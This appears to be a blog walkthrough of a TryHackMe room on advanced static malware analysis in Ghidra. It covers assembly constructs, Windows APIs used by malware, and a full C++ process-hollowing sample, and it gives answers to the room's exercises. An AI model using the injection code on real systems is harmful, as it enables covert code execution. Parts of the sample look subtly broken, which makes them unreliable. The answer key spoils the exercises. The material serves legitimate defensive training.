THM Advanced Static Analysis

Task 1 - Introduction

Unlike in Basic Static Analysis where we looked more at the characteristics of malware, like strings, hashes, import functions, and other key information; in Advanced Static Analysis, we will dig further by analyzing disassembled code and the associated assembly instructions.

Advanced static analysis is a technique used to analyze the code and structure of malware without executing it, in order to identify the malware’s behavior and weaknesses.

Learning Objectives

Some of the topics that are covered in this room are:

  • Understand how advanced static analysis is performed.
  • Exploring Ghidra’s disassembler functionality.
  • Understanding and identifying different C constructs in assembly.

Task 2 - Malware Analysis - Overview

To begin with, malware analysis is the fact of examining malicious software (malware) to understand how it works and identify its capabilities, behavior and potential impact. There are four main steps in analyzing malware:

  1. Basic static analsis
  2. Basic dynamic analysis
  3. Advanced static analysis
  4. Advances dynamic analysis

Each step uses different tools and techniques to gather information about the malware.

Static Analysis

Static analysis aims to understand the malware’s structure and behavior without executing it. Basic analysis involves examining the malware’s code, file headers and other simple static properties. Advanced analysis, on the other hand, aims to uncover hidden or obfuscated code and functionality within the malware. This involves more advanced techniques to analze the malware’s code, such as deobfuscation and code emulation.

Dynamic Analysis

Dynamic analysis aims to observe the malware’s behavior during execution in a controlled environment. Basic analysis involves executing the malware in a sandbox or virtual machine and monitoring its system activity, network traffic and process behavior. Advanced analysis seeks to uncover more complex and evasive malware behiavor using advanced monitoring techniques with more sophisticated sandboxed and monitoring tools to capture it in greater detail.

How Advanced Static Analysis is Performed ?

Advanced static analysis is a crucial process for understanding its behavior and identifying its potential threats. The key objectives are to discover the malware’s capabilities, identify its attack vectors and determine the evasion techniques.

To perform this type of analysis, dissasemblers such as IDA Pro, Binary ninja and radare2 are commonly used. These disassemblers allow the analyst to explore the malware’s assembly code/pseudo-c code and identify the functions and data structures.

The steps involved are as follows:

  1. Identify the entry point of the malware and the system calls it makes.
  2. Identify the malware’s code sections and analyze them using available tools such as debuggers and hex editors.
  3. Analyze the malware’s control flow graph to identify its execution path.
  4. Trace the malware’s dynamic behavior by analyzing the system calls it makes during execution.
  5. Use the above information to understand the malware’s evasion techniques and the potential damage it can cause.

Questions

Does advanced static analysis require executing the malware in a controlled environment? (yay/nay)

Answer: nay

Task 4 - Ghidra: A Quick Overview

Many disassemblers like cutter, ghidra, radare2 ans IDA Pro can be used to disassemble any type of program. However, we will explore Ghidra because it’s free, open-source and has many features that can be utilized to get proficient in reverse engineering. The objective is to get comfortable with the main usage of a disassembler and use that knowledge to any others.

Ghidra includes many features that make it a powerful reverse engineering tool. Some of these features include:

  • Decompilation: Ghidra can decompile binaries into readable C code, making it easier for developers to understand how the software works.
  • Disassembly: Ghidra can disassemble binaries into assembly language, allowing analysts to examine the low-level operations of the code.
  • Debugging: Ghidra has a built-in debugger that allows users to step through code and examine its behavior.
  • Analysis: Ghidra can automatically identify functions, variables, and other code to help users understand the structure of the code.

How to use Ghidra for Analysis

Here, we will explore Ghidra and its features by analyzing the HelloWorld.exe sample.

To begin with, open Ghidra and create a new project

Secondly, select Non-Shared Project. Shared Project is to allow us to share our analysis with other analysts.

Then, name the project accordingly to our binary.

When the window Active Project is shown, drag and drop HelloWorld.exe or File -> Import File to begin the program’s analysis.

Once it is imported, we get the program’s summary as shown below:

After that, double-click on HelloWorld.exe or click on the dragon icon to open the CodeBrowser and re-import the file. When asked to analyze the executable, click on Yes.

The next window that appears show us various analysis option. We can check or uncheck them based on our needs. These add-ons assist Ghidra during analysis.

It will take some time to analyze. The bottom bar show the current progress.

Exploring the Ghidra Layout

Ghidra has so many options to aid in our analysis. The default layout is shown and explained briefly below.

  1. Program Trees: Show the sections of the program. We can click on different sections to see the content within each. The Dissecting PE Headers room explain headers and PE Sections in depth.
  2. Symbol Tree: Contains important sections like Imports, Exports and Functions. Each seciton provides a wealth of information about the program we are analyzing.
    • Imports: This section contains information about the libraries being imported by te program. Clicking on each API call shows the assembly code that uses that API.
    • Exports: This section contains the API/function calls being exported by the program. This section is useful when analyzing a DLL, as it will show all the functions it contains.
    • Functions: This section contains the functions it finds within the code. Clicking on each function will take us to the disassembled code of that function. It also contains the entry function. Clicking on the entry function will take us to the start of the program we are analyzing. Functions with generic names starting with FUN_VirtualAddress are the ones that Gidra does not give any names to.
  3. Data Type Manager: This section shows various data types found in the program.
  4. Listing: This window show the dissassembled code of the binary, which included the following values in order:
    • Virtual Address
    • Opcode
    • Assembly Instrcution (PUSH, POP, ADD, XOR, etc…)
    • Operands
    • Comments
  5. Decompile: Ghidra translates the assembly code into a pseudo C code here. This is a very important section to look at during analysis as it gives a better understanding of the assembly code.
  6. Toolbar: Various options to use during the analysis.
  • Graph View: The Graph View in the toolbar is an important option, allowing us to see the graph view of the disassembly.
  • The Memory Map option shows the memory mapping of the program as shown below:
  • This navigation toolbar shows different options to navigate through the code.
  • To explore strings, go to Search -> For Strings and click Search will give us the strings that Ghidra finds withing the binary. This window can contain important information to help us.

Analyzing HelloWorld in Assembly

There are many ways to reach the code of interest. To find the assembly code for HelloWorld.exe, we will go for a String Search to see where is our string Hello World.

The search has returned the code block of the MessageBox call using the Hello World string. We may notice that the main function is filled with compiler things.

We explored Ghidra and its features in this task by examining a simple “HelloWorld” program. In the next task, we will use this knowledge to explore different C constructs and their corresponding representations in assembly.

Note: It is trivial to note that the malware’s author may have packed it or used obfuscation or Anti VM / AV detection techniques to make the analysis harder. These techniques will be discussed in the coming rooms.

Questions

How many function calls are present in the Exports section?

The only exported function is called entry. However, this is not our main function like depicted above.

Answer: 1

What is the only API call found in the User32.dll under the Imports section?

The only API call for User32.dll is the MessageBoxA function.

Answer: MessageBoxA

How many times can the “Hello World” string be found with the Search for Strings utility?

Like shown before, the Hello World string is only found one time in the Search -> For Strings menu.

Answer: 1

What is the virtual address of the CALL function that displays “Hello World” in a messagebox?

By double-clicking on the Code Unit case of the string search, we can go to the location of the string Hello World.

Once that is done, double-clicking on the parent function (XREF), we are welcomed with the disassembly of the main function, containing MessageBoxA.

Answer: 004073d7

Task 5 - Identifying C Code Constructs in Assembly

Analyzing assembly code of compiled binaries can be overwhelming for beginners. That is why understanding assembly instructions and how various programming components are translated into assembly is important.

We are loading components of the Code_Constructs into Ghidra.

There are different approaches to begin analyzing the code:

  • Locate the main function from the Symbol Tree section.
  • Check the .text code from the Program Trees section to see the ode section and find the entry point.
  • Search for interesting strings and locate the code from where those are referenced.

Note: Different compilers add their own code for various checks while compiling. Therefore expect some garbage assembly code that does not make sense.

Code: Hello World

In C language

The Hello World program is one of the most basic program to try out a new language.

#include <stdio.h>

int main {
    printf("Hello World\n");
    return 0;
}

In Assembly

section .data 
    message db 'HELLO WORLD!!', 0 ; Defines the string "HELLO WORLD!!" followed by a null byte in memory

section .text
    global _start

_start:
    ; write the message to stdout
    mov eax, 4      ; write system call
    mov ebx, 1      ; file descriptor for stdout
    mov ecx, message    ; pointer to message
    mov edx, 13     ; message length
    int 0x80        ; call kernel

This program defines a string “HELLO WORLD!!” in the .data section and then uses the write system call to print the string to stdout.

In Ghidra

The Hello World code can be found by doing a string search.

We know that function is the main function, hence we can rename our function on the decompiler section.

Code: For Loop

In C Language

A For loop permit to repeat certain instructions until it completes.

int main() {
    int i;
    for (i=0; i<5; i++) {
        std::cout << i << std::endl;
    }
    return 0;
}

In Assembly

main:
    ; initialize loop counter to 0
    mov ecx, 0

    ; loop 5 times
    mov edx, 5
loop:
    ; print the loop counter
    push ecx
    push format
    call printf
    add esp, 8

    ; increment loop counter
    inc ecx

    ; check if the loop is finished
    cmp ecx, edx
    jl loop

In Ghidra

The for-loop.exe is the program which contains the loop code.

This is its behaviour:

PS C:\Users\Administrator\Desktop\Code_Constructs> .\for-loop.exe
This program demonstrates FOR loop statement
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn
THM_IS_Fun_to_Learn

On Ghidra, we can get the main function a bit after the entry point. Moreover, we get the decompiled pseudo-C code of the for loop.

Code: Function

In C Language

int add(int a, int b){
    int result = a + b;
    return result;
}

In Assembly

add:
    push ebp          ; save the current base pointer value
    mov ebp, esp      ; set base pointer to current stack pointer value
    mov eax, dword ptr [ebp+8]  ; move the value of 'a' into the eax register
    add eax, dword ptr [ebp+12] ; add the value of 'b' to the eax register
    mov dword ptr [ebp-4], eax  ; move the sum into the 'result' variable
    mov eax, dword ptr [ebp-4]  ; move the value of 'result' into the eax register
    pop ebp           ; restore the previous base pointer value
    ret               ; return to calling function

The add function starts by saving the current base pointer value onto the stack. Then, it sets the base pointer to the current stack pointer value. The function then moves the values of a and b into the eax register, adds them, and store the result in the result variable. Finally, the function moves the value of the result into the eax register, restores the previous base pointer value, and returns to the calling function.

Code: While loop

In C Language

int i = 0;
while (i < 10) {
    printf("%d\n", i);
}

In Assembly

mov ecx, 0     ; initialize i to 0
loop_start:
cmp ecx, 10    ; compare i to 10
jge loop_end   ; jump to loop_end if i >= 10
push ecx       ; save the value of i on the stack
push format    ; push the format string for printf
push dword [ecx]; push the value of i for printf
call printf    ; call printf to print the value of i
add esp, 12    ; clean up the stack
inc ecx        ; increment i
jmp loop_start ; jump back to the start of the loop
loop_end:

In Ghidra

Using the provided program, Ghidra seems to interpret the while loop as a for loop one. This is maybe due also on how has compiled the source code.

This is how it should look like:

Task: Examine the if-else.exe and while-loop.exe and answer the questions below.

Questions

What value gets printed by the while loop in the while-loop.exe program?

We can run the program or look at what data gets printf.

_puts("_ITs_Fun_to_Learn_at_THM_");

Answer: _ITs_Fun_to_Learn_at_THM_

How many times, the while loop will run until the condition is met?

From the decompiled code, this is what we get:

  for (local_14 = 1; local_14 < 5; local_14 = local_14 + 1) {
    _puts("_ITs_Fun_to_Learn_at_THM_");
  }

Answer: 4

Examine the while-loop.exe in Ghidra. What is the virtual address of the instruction, that CALLS to print out the sentence “That’s the end of while loop ..”?

For this question, we need to check where the call for the printf function is made:

Answer: 00401543

In the if-else.exe program, examine the strings and complete the sentence “This program demonstrates………..”

Here, we can use the String Search function of Ghidra:

Answer: This program demonstrates if-else statement

What is the virtual address of the CALL to the main function in the if-else.exe program?

This information is contained at the line of _main():

Answer: 00401509

Task 6 - An Overview of Windows API Calls

The Windows API is a collection of functions and services to enable developers to create Windows applications.

Create Process API

CreateProcessA is a function which creates a new process and its primary thread.

CreateProcessA

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

This C code uses CreateProcessA to launch a new process:

#include <windows.h>
#include <stdio.h>

int main()
{
    // Declare a STARTUPINFO structure to specify window properties for the new process
    STARTUPINFO si;
    
    // Declare a PROCESS_INFORMATION structure to receive information about the new process
    PROCESS_INFORMATION pi;

    // Initialize the STARTUPINFO structure to zero to avoid any garbage values
    ZeroMemory(&si, sizeof(si));
    
    // Set the cb member of STARTUPINFO to its size, which is required by CreateProcess
    si.cb = sizeof(si);
    
    // Initialize the PROCESS_INFORMATION structure to zero to avoid any garbage values
    ZeroMemory(&pi, sizeof(pi));

    // Attempt to create a new process to run Notepad
    // Parameters:
    // - NULL: Application name is not specified separately
    // - "C:\\Windows\\notepad.exe": Command line to execute
    // - NULL, NULL: No special security attributes for the process or its primary thread
    // - FALSE: New process does not inherit handles from the calling process
    // - 0: No special creation flags
    // - NULL, NULL: No environment block or current directory specified
    // - &si: Pointer to the STARTUPINFO structure
    // - &pi: Pointer to the PROCESS_INFORMATION structure to receive process information
    if (!CreateProcess(NULL, "C:\\Windows\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
    {
        // If CreateProcess fails, print an error message with the error code from GetLastError
        printf("CreateProcess failed (%d).\n", GetLastError());
        return 1;
    }

    // Wait for the Notepad process to complete
    // Parameters:
    // - pi.hProcess: Handle to the process to wait for
    // - INFINITE: Wait indefinitely until the process terminates
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Close the handle to the process as it's no longer needed
    CloseHandle(pi.hProcess);
    
    // Close the handle to the primary thread of the process as it's no longer needed
    CloseHandle(pi.hThread);

    // Return 0 to indicate successful execution of the program
    return 0;
}

When compiled into assembly, the CreateProcessA function call looks like this:

push 0
lea eax, [esp+10h+StartupInfo]
push eax
lea eax, [esp+14h+ProcessInformation]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword ptr [hWnd]
call CreateProcessA

This assembly code pushes the necessary parameters onto the stack in reverse order and then calls the CreateProcessA function. The CreateProcessA function then launches a new process and returns a handle to the process and its primary thread.

This is what the stack layout looks like after pushing every parameters.

+--------------------------+
| lpApplicationName        | <-- esp + 0x00 (NULL)
+--------------------------+
| lpStartupInfo            | <-- esp + 0x04 (address calculated by lea)
+--------------------------+
| lpProcessInformation     | <-- esp + 0x08 (address calculated by lea)
+--------------------------+
| lpCurrentDirectory       | <-- esp + 0x0C (NULL)
+--------------------------+
| lpEnvironment            | <-- esp + 0x10 (NULL)
+--------------------------+
| dwCreationFlags          | <-- esp + 0x14 (0)
+--------------------------+
| bInheritHandles          | <-- esp + 0x18 (FALSE)
+--------------------------+
| lpThreadAttributes       | <-- esp + 0x1C (NULL)
+--------------------------+
| lpProcessAttributes      | <-- esp + 0x20 (NULL)
+--------------------------+
| lpCommandLine            | <-- esp + 0x24 (value from hWnd)
+--------------------------+

During malware analysis, identifying the API call and examining the code can help understand the malware’s purpose.

Questions

When a process is created in suspended state, which hexadecimal value is assigned to the dwCreationFlags parameter?

To know that, we have to read the MSDN documentation available here.

Answer: 0x00000004

Task 7 - Common APIs used by malware

Most malware authors heavily rely on Windows API to accomplish their goals. That is why it is important to know how it is used in different malware variants.

Keylogger

This type of malware mostly use:

  • SetWindowsHookEx: This function installs an application-defined hook procedure into a hook chain in order to monitor and intercept system events such as keystokes or mouse clicks.
  • GetAsyncKeyState: This function retieves the status of a virtual key (ID used to represent keys of a keyboard) when the function is called, to determine if a key is being pressed or released.
  • GetKeyboardState: This function retrieves the status of all virtual keys to determine the status of all keys on the keyboard.
  • GetKeyNameText: This function retrieves the name of a key to determine the name of the pressed key.

Downloader

A downloader is a type of malware designed to download other malware onto a victim’s system.

  • URLDownloadToFile: This function downloads a file from the internet and saves it to a local file. This can be used to fetch additional malicious code or update the malware.
  • WinHttpOpen: This one itnitializes the WinHTTP API, which can be used to establish an HTTP connection to a rogue remote server.
  • WinHttpConnect: It establishes a connection to a remote server.
  • WinHttpOpenRequest: It enables the ability of doing HTTP requests like GET or POST. …

This is an example given by Microsoft to make HTTP requests with this API:

    BOOL  bResults = FALSE;
    HINTERNET hSession = NULL,
              hConnect = NULL,
              hRequest = NULL;

    // Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(  L"A WinHTTP Example Program/1.0", 
                             WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                             WINHTTP_NO_PROXY_NAME, 
                             WINHTTP_NO_PROXY_BYPASS, 0);

    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect( hSession, L"www.wingtiptoys.com",
                                   INTERNET_DEFAULT_HTTP_PORT, 0);

    // Create an HTTP Request handle.
    if (hConnect)
        hRequest = WinHttpOpenRequest( hConnect, L"PUT", 
                                       L"/writetst.txt", 
                                       NULL, WINHTTP_NO_REFERER, 
                                       WINHTTP_DEFAULT_ACCEPT_TYPES,
                                       0);

    // Send a Request.
    if (hRequest) 
        bResults = WinHttpSendRequest( hRequest, 
                                       WINHTTP_NO_ADDITIONAL_HEADERS,
                                       0, WINHTTP_NO_REQUEST_DATA, 0, 
                                       0, 0);

    // End the request.
    if (bResults)
        bResults = WinHttpReceiveResponse( hRequest, NULL);

    // Keep checking for data until there is nothing left.
    if (bResults)
        do 
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable( hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

            // Allocate space for the buffer.
            pszOutBuffer = new char[dwSize+1];
            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                dwSize=0;
            }
            else
            {
                // Read the Data.
                ZeroMemory(pszOutBuffer, dwSize+1);

                if (!WinHttpReadData( hRequest, (LPVOID)pszOutBuffer, 
                                      dwSize, &dwDownloaded))
                    printf( "Error %u in WinHttpReadData.\n", GetLastError());
                else
                    printf( "%s\n", pszOutBuffer);
            
                // Free the memory allocated to the buffer.
                delete [] pszOutBuffer;
            }

        } while (dwSize > 0);

    // Report any errors.
    if (!bResults)
        printf( "Error %d has occurred.\n", GetLastError());

    // Close any open handles.
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

C2 Communication

Command and Control (C2) communication is a method malware uses to communicate with a remote server. This communication can be used to receive commands from the attacker, send stolen data and more.

  • InternetOpen This function initializes a session for connection to the internet.
  • InternetOpenUrl: This opens a URL for download, like for downloading malicious code or geting data from a C2 Server.
  • HttpOpenRequest: This function opens HTTP request. Malware can use this function to send HTTP requests to a C2 server and receive commands or additional malicious code.
  • HttpSendRequest: This function sends HTTP request to a C2 server. Malware can use this function to send data or receive commands from a C2 server.

Wininet is designed for desktop applications that require user interaction and features like caching and cookie management, while WinHTTP is optimized for server-side applications and automated tasks without user interaction. Besides these differences, both are suitable for communication using the HTTP protocol even if WinHTTP tends to have better performance. C2 Communication and Downloader can both use Wininet and WinHTTP, nevertheless these are shown here to present the usage of different API.

Data Exfiltration

Data exfiltration is the unauthorized data transfer from an organization to an external destination.

  • InternetReadFile: This function reads data from an hRequest handle of HttpSendRequest. Malware can use this function to steal data from a compromised system and transmit it to a C2 server.
  • FtpPutFile: This function uploads a file to an FTP Server.
  • CreateFile: This function creates or opens a file or device to read or modify files containing sensitive information or system configuration data.
  • WriteFile: This function writes data to a file or device.
  • GetClipboardData: This API is used to retrieve data from the clipboard.

Dropper

A dropper is a malware designed to install other malware onto a victim’s system. Unlike a downloader, a dropper already contains the malicious payload.

  • CreateProcess: This function creates a new process and its primary thread.
  • VirtualAlloc: This function allocates a region of memory within the virtual address space of the calling process.
  • WriteProcessMemory: This function writes data to an area of memory within the address space of a specified process.

API Hooking

API Hooking is a method malware uses to intercept calls to Windows APIs and modify their behavior. This allows malware to avoid detection by modifying legitimate programs and perform malicious actions.

  • GetProcAddress This function retrieves the address of an exported function or variable from a specified DLL, in order to locate and hook API calls made by other processes.
  • LoadLibrary: This loads a DLL into a process’s address space.
  • SetWindowsHookEx: This API installs a hook procedure that monitors messages sent to a window or system event, to intercept calls to other Windows APIs and modify their behavior.

Anti-debugging and VM Detection

Theses techniques are used by malware to evade detection and analysis by security researchers.

  • IsDebuggerPresent: This function checks whether a process is running under a debugger.
  • CheckRemoteDebuggerPresent: This function checks whether a remote debugger is debugging a process.
  • NtQueryInformationProcess: This one retrieves information about a specified process.
  • GetTickCount: This function gets the number of milliseconds that have elapsed since the system was started.
  • GetModuleHandle: This function retrieves a handle to a specified module like VM specific modules (VMWare tools…).
  • GetSystemMetrics: This function retrieves various system metrics and configuration settings like CPU Revision or if the current session is a remote one.

Anti-debugging / AV detection are discussed in the Anti-Reverse Engineering room and more APIs used for these or other types of malware are discussed one https://malapi.io/.

Task 8 Process Hollowing: Overview

Process hollowing is a technique used by malware to inject malicious code into a legitimate process running on a victim’s computer. The process is as follow:

  1. Create a legitimate process like notepad and suspend it. CreateProcessA()/NtSuspendProcess()
  2. Allocate new memory of the size of the malicious code in the suspended process and write the code into it. VirtualAllocEx()/WriteProcessMemory()
  3. Modify the entry point of the process to point to the address of the malicious code. GetThreadContext()/SetThreadContext()
  4. Resume the rogued suspended process in order to execute the malicious code. NtResumeProcess()
  5. Clean up the process and any ressource used.

To get a better understanding of the technique, a sample C++ code is available below:

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

using namespace std;

/**
 * HollowProcess - Replaces the code of a target process with that of a source process.
 * @param szSourceProcessName: Path to the source executable.
 * @param szTargetProcessName: Name of the target process to be hollowed.
 * @return: True if the process hollowing was successful, false otherwise.
 */
bool HollowProcess(char *szSourceProcessName, char *szTargetProcessName)
{
    // Take a snapshot of all processes in the system
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);

    // Iterate over the process list to find the target process
    if (Process32First(hSnapshot, &pe))
    {
        do
        {
            if (_stricmp((const char*)pe.szExeFile, szTargetProcessName) == 0)
            {
                // Open the target process with all access rights
                HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
                if (hProcess == NULL)
                {
                    return false;
                }

                IMAGE_DOS_HEADER idh;
                IMAGE_NT_HEADERS inth;
                IMAGE_SECTION_HEADER ish;

                DWORD dwRead = 0;

                // Read the DOS header and NT headers of the target process
                ReadProcessMemory(hProcess, (LPVOID)pe.modBaseAddr, &idh, sizeof(idh), &dwRead);
                ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew), &inth, sizeof(inth), &dwRead);

                // Allocate memory in the target process for the source image
                LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, inth.OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                if (lpBaseAddress == NULL)
                {
                    CloseHandle(hProcess);
                    return false;
                }

                // Write the headers of the source image to the target process
                if (!WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)pe.modBaseAddr, inth.OptionalHeader.SizeOfHeaders, &dwRead))
                {
                    CloseHandle(hProcess);
                    return false;
                }

                // Write each section of the source image to the target process
                for (int i = 0; i < inth.FileHeader.NumberOfSections; i++)
                {
                    ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))), &ish, sizeof(ish), &dwRead);
                    WriteProcessMemory(hProcess, (LPVOID)((DWORD)lpBaseAddress + ish.VirtualAddress), (LPVOID)((DWORD)pe.modBaseAddr + ish.PointerToRawData), ish.SizeOfRawData, &dwRead);
                }

                // Calculate the new entry point for the source image
                DWORD dwEntrypoint = (DWORD)pe.modBaseAddr + inth.OptionalHeader.AddressOfEntryPoint;
                DWORD dwOffset = (DWORD)lpBaseAddress - inth.OptionalHeader.ImageBase + dwEntrypoint;

                // Write the new entry point to the target process
                if (!WriteProcessMemory(hProcess, (LPVOID)(lpBaseAddress + dwEntrypoint - (DWORD)pe.modBaseAddr), &dwOffset, sizeof(DWORD), &dwRead))
                {
                    CloseHandle(hProcess);
                    return false;
                }

                // Close the handle to the target process
                CloseHandle(hProcess);

                break;
            }
        } while (Process32Next(hSnapshot, &pe));
    }

    // Close the handle to the snapshot
    CloseHandle(hSnapshot);

    // Initialize the STARTUPINFO and PROCESS_INFORMATION structures
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));

    // Create the source process in a suspended state
    if (!CreateProcess(NULL, szSourceProcessName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
        return false;
    }

    // Get the context of the source process's primary thread
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(pi.hThread, &ctx))
    {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return false;
    }

    // Update the entry point in the context to point to the new image
    ctx.Eax = (DWORD)pi.lpBaseOfImage + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew + ((IMAGE_NT_HEADERS*)(((BYTE*)pi.lpBaseOfImage) + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew))->OptionalHeader.AddressOfEntryPoint;
    if (!SetThreadContext(pi.hThread, &ctx))
    {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return false;
    }

    // Resume the source process's primary thread
    ResumeThread(pi.hThread);

    // Close handles to the source process and thread
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

    return true;
}

int main()
{
    // Define the source and target process names
    char* szSourceProcessName = "C:\\\\Windows\\\\System32\\\\calc.exe";
    char* szTargetProcessName = "notepad.exe";

    // Attempt to hollow the target process and print the result
    if (HollowProcess(szSourceProcessName, szTargetProcessName))
    {
        cout << "Process hollowing successful" << endl;
    }
    else
    {
        cout << "Process hollowing failed" << endl;
    }

    return 0;
}

Questions

Which API is used to to write malicious code to the allocated memory during process hollowing?

Answer: WriteProcessMemory()

Task 9 - Analyzing Process Hollowing

Now that we understand the basics of Ghidra, some techniques in a disassembled version and some usages with the Windows API, we are going to analyze a sample called Benign.exe.

Our goals are:

  • Examine API calls to find a suspiccious pattern
  • Look at suspicious strings
  • Find interesting functions
  • Examine disassembled/decompiled code to find as much information as possible

Note: Even if we are starting by looking for Windows API calls right away, it is not how an analyst would start analyzing an unknown binary.

CreateProcess

In the previous task, we have learnt in process hollowing that a legitimate victim process is created in the suspended state. We can search for CreateProcessA function in Imports -> Kernel32.dll and Show References to:

The first reference will take us to the Process Hollowing function, at the legitimate process creation:

PROCESS_INFORMATION pi;

    if (!CreateProcess(NULL, szSourceProcessName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
        return false;
    }

It clearly shows how the parameters on the stack are pushed in reverse order before calling the function? The 0x4 value represent the suspended state in the process creation flag.

Graph View

The Display Function Graph in the toolbar will show the graph view of the disassembled code we are examining.

In this case, the program:

  • Fails to create a victim process in the suspended state, it will follow the red arrow, thus the block 1.
  • Successfully creates the victim rocess, it will follow the block 2, the green arrow.

Open Suspicious File

The CreateFileA funciton is either used to create or open an existing file. The behaviour is chosen by using GENERIC_READ or GENERIC_WRITE for the dwDesiredAccess parameter.

Then, new memory is created in the victim process using VirtualAlloc with the size of the file (GetFileSize).

Moreover, the hFile handle of CreateFileA will be used to get the content using the ReadFile function. Then, the file’s content will be written in the already allocated memory. The location of the new memory is the lpBuffer var.

Hollowing the process

Malware use ZwUnmapViewOfSection or NtUnmapViewOfSection API calls to unmap the target process’s memory.

NtUnmapViewOfSection takes exactly two arguments, the base address (virtual address) to be unmapped and the handle to the process that needs to be hollowed. Essentially, it removes a previously mapped section of memory, making that memory range available for other uses. In the context of process hollowing, malware uses NtUnmapViewOfSection to remove the existing memory contents of a target process. This creates a clean slate, allowing the attacker to inject and execute their own code within the address space of a legitimate process, thereby gaining control of it while minimizing detection risks.

Allocate Memory

Once the process is hollowed, malware must allocate needed memory using VirtualAllocEx before writing the rogue part.
Arguments passed to the function include a handle to the process, address to be allocated, size, allocation type, and memory protection flag.

Write down the memory

Once the memory is allocated, the malware will attempt to write the suspicious process into the memory of the hollowed process using WriteProcessMemory.

There were three calls to the WriteProcessMemory Function. The last call references to the code in the Kernel32 DLL; therefore, we can ignore that. From the decompiled code, it seems the program is copying different sections of the suspicious process one by one.

Resume Thread

Once all is sorted out, the malware will get hold of the thread using the SetThreadContext and then resume the thread using ResumeThread.

Questions

What is the MD5 hash of the benign.exe sample?

Go to the project browser, then right click on the executable -> properties

Answer: e60a461b80467a4b1187ae2081f8ca24

How many API calls are returned if we search for the term ‘Create’ in the Symbol Tree section?

For this question, we need to use the filter of the Symbol Tree.

Answer: 2

What is the first virtual address where the CreateProcessA function is called?

We need to use the Show References to or Ctrl+Shift+F to search for occurences of the function in the program.

Answer: 0040108f

Which process is being created in suspended state by using the CreateProcessA API call?

The created process’s name is located at the second parameter of the CreateProcessA function.

Answer: iexplore.exe

What is the first virtual address where the CreateFileA function is called?

The same thing to locate CreateProcessA is done here.

Answer: 004010f0

What is the suspicious process being injected into the victim process?

The process name can be found in the first parameter of CreateFileA.

Answer: evil.exe

Based on the Function Graph, what is the virtual address of the code block that will be executed if the program doesn’t find the suspicious process?

The executed code if the program doesn’t find the suspicious process would be this:

According to the Function Graph, this is the code clock we get:

Answer: 00401101

Which API call is found in the import functions used to unmap the process’s memory?

The API call can be found in ntdll.dll:

Answer: NtUnmapViewOfSection

How many calls to the WriteProcessMemory function are found in the code? (.text section)

There are two occurences/API calls shown in the Location References Provider.

Answer: 2

What is the full path of the suspicious process shown in the strings?

To answer this, we have to go back to our CreateFileA function call.

Answer: "C:\\Users\\THM-Attacker\\Desktop\\Injectors\\evil.exe"

Task 10 - Conclusion

In summary, this room provided foundational knowledge in advanced static analysis of malware using Ghidra, a powerful and free tool for dissecting executable files. We explored common APIs employed by malware, such as CreateProcessA, CreateFileA, and WriteProcessMemory, and gained insights into the process hollowing technique, where a malicious code injects itself into a legitimate process. By mastering these elements, we enhance our ability to analyze and understand malware behaviors, ultimately improving our skills in cybersecurity and threat detection.

The next step after performing advanced static analysis is the dynamic analysis, which will be covered next.




    Enjoy Reading This Article?

    Here are some more articles you might like to read next:

  • THM MalDoc: Static Analysis
  • THM Anti-Reverse Engineering
  • THM Basic Dynamic Analysis
  • THM Dynamic Analysis: Debugging
  • THM Windows Forensics 1